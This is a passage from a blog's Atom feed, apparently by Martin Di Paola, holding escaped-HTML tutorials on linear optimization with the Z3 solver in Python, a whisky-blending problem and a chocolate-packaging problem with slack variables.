&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;costs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;700&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;income&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;680&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;570&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;profit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maximize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;income&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;costs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;profit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="mi"&gt;3590000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Licor:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;A =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;B =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;C =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;Licor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2500&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1200&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# We use m[.] to retrieve simple variables&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Whisky:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;E =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;F =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;G =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;G&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;Whisky&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;22900&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;28400&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# We use m.eval() to evaluate complex expressions in the model context&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Costs =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;costs&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Income =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;income&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Profit =&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;profit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;Costs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3130000&lt;/span&gt; &lt;span class="n"&gt;Income&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;31760000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;Profit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3590000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/04/29/Blending-Whisky.html" rel="alternate" type="text/html" title="Blending Whisky with Z3"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="linear optimization" label="linear optimization"/>
    <category term="blending" label="blending"/>
    <published>2021-04-29T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/04/27/Optimum-Packaging-of-Chocolate.html</id>
    <title>Optimum Packaging of Chocolate</title>
    <updated>2021-04-27T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A small business sells two types of chocolate packs: A and B.&lt;/p&gt;
&lt;p&gt;The pack A has 300 grams of bittersweet chocolate, 500 grams of chocolate with walnuts and 200 grams of white chocolate.&lt;/p&gt;
&lt;p&gt;The pack B has 400 grams of bittersweet chocolate, 200 grams of chocolate with walnuts and 400 grams of white chocolate.&lt;/p&gt;
&lt;p&gt;The pack A has a price of 120$ while the pack B has a price of 90$.&lt;/p&gt;
&lt;p&gt;Let’s assume that this small business has for today 100 kilograms of bittersweet chocolate, 120 kilograms of chocolate with walnuts and 100 kilograms of while chocolate.&lt;/p&gt;
&lt;p&gt;How many packs of A and B type should be packed to maximize the profits? &lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="of-variables-and-restrictions"&gt;Of variables and restrictions&lt;/h2&gt;
&lt;p&gt;First, we set up a solver that not only will say if a set of restrictions are satisfiable or not but it will also give us an instance (model) that &lt;em&gt;maximizes&lt;/em&gt; a given &lt;em&gt;objective function&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optimize&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Optimize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let start defining be the following variables that represent how many packs of each type we need to make:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a_cnt b_cnt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, we have the variables that represent how much chocolate we &lt;em&gt;use&lt;/em&gt; of each flavor:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bittersweet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;with_walnuts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;white&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bittersweet with_walnuts white&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So now we can relate the amount of A and B packs with the amount of chocolate of each flavor:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;bittersweet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;with_walnuts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;white&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But the amount of chocolate is limited:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;bittersweet&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;with_walnuts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;white&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And technically, the amount of packs has also a lower bound&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;bittersweet&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;with_walnuts&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;white&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CkluIFB5dGhvbiBgYSA8PSBiIDw9IGNgIGlzIGEgdmFsaWQgZXhwcmVzc2lvbiBidXQgaW4gWjMgaXQgaXMgbm90CmFuZCB5b3UgbmVlZCB0byBkZWZpbmUgdHdvIHNlcGFyYXRlZCBzdGF0ZW1lbnRzIGBhIDw9IGJgIGFuZCBgYiA8PSBjYC4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkluIFB5dGhvbiBgYSA8PSBiIDw9IGNgIGlzIGEgdmFsaWQgZXhwcmVzc2lvbiBidXQgaW4gWjMgaXQgaXMgbm90CmFuZCB5b3UgbmVlZCB0byBkZWZpbmUgdHdvIHNlcGFyYXRlZCBzdGF0ZW1lbnRzIGBhIDw9IGJgIGFuZCBgYiA8PSBjYC4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
In Python &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a valid expression but in Z3 it is not and you need to define two separated statements &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="the-objective"&gt;The objective&lt;/h2&gt;
&lt;p&gt;And finally, this is the &lt;em&gt;linear&lt;/em&gt; function that we want to maximize:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;objective&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maximize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b_cnt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;objective&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="mi"&gt;33000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the optimal income will be 33000$ and the amount of packs and chocolate is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;white&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;with_walnuts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;120000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;bittersweet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As expected the optimal solution is when we use most of the chocolate.&lt;/p&gt;
&lt;h3 id="slack"&gt;Slack&lt;/h3&gt;
&lt;p&gt;The only one that had some &lt;em&gt;slack&lt;/em&gt; was white chocolate. Having a limit of 100 kilograms, the optimal solution required 80 kilograms with 20 kilograms without use.&lt;/p&gt;
&lt;p&gt;We can let Z3 to calculate that for use redefining the inequalities by introducing &lt;em&gt;slack variables&lt;/em&gt; and making them equalities:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bittersweet_slack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;with_walnuts_slack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;white_slack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Reals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bittersweet_slack with_walnuts_slack white_slack&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;bittersweet_slack&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;with_walnuts_slack&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;white_slack&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;bittersweet&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;bittersweet_slack&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;with_walnuts&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;with_walnuts_slack&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;white&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;white_slack&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
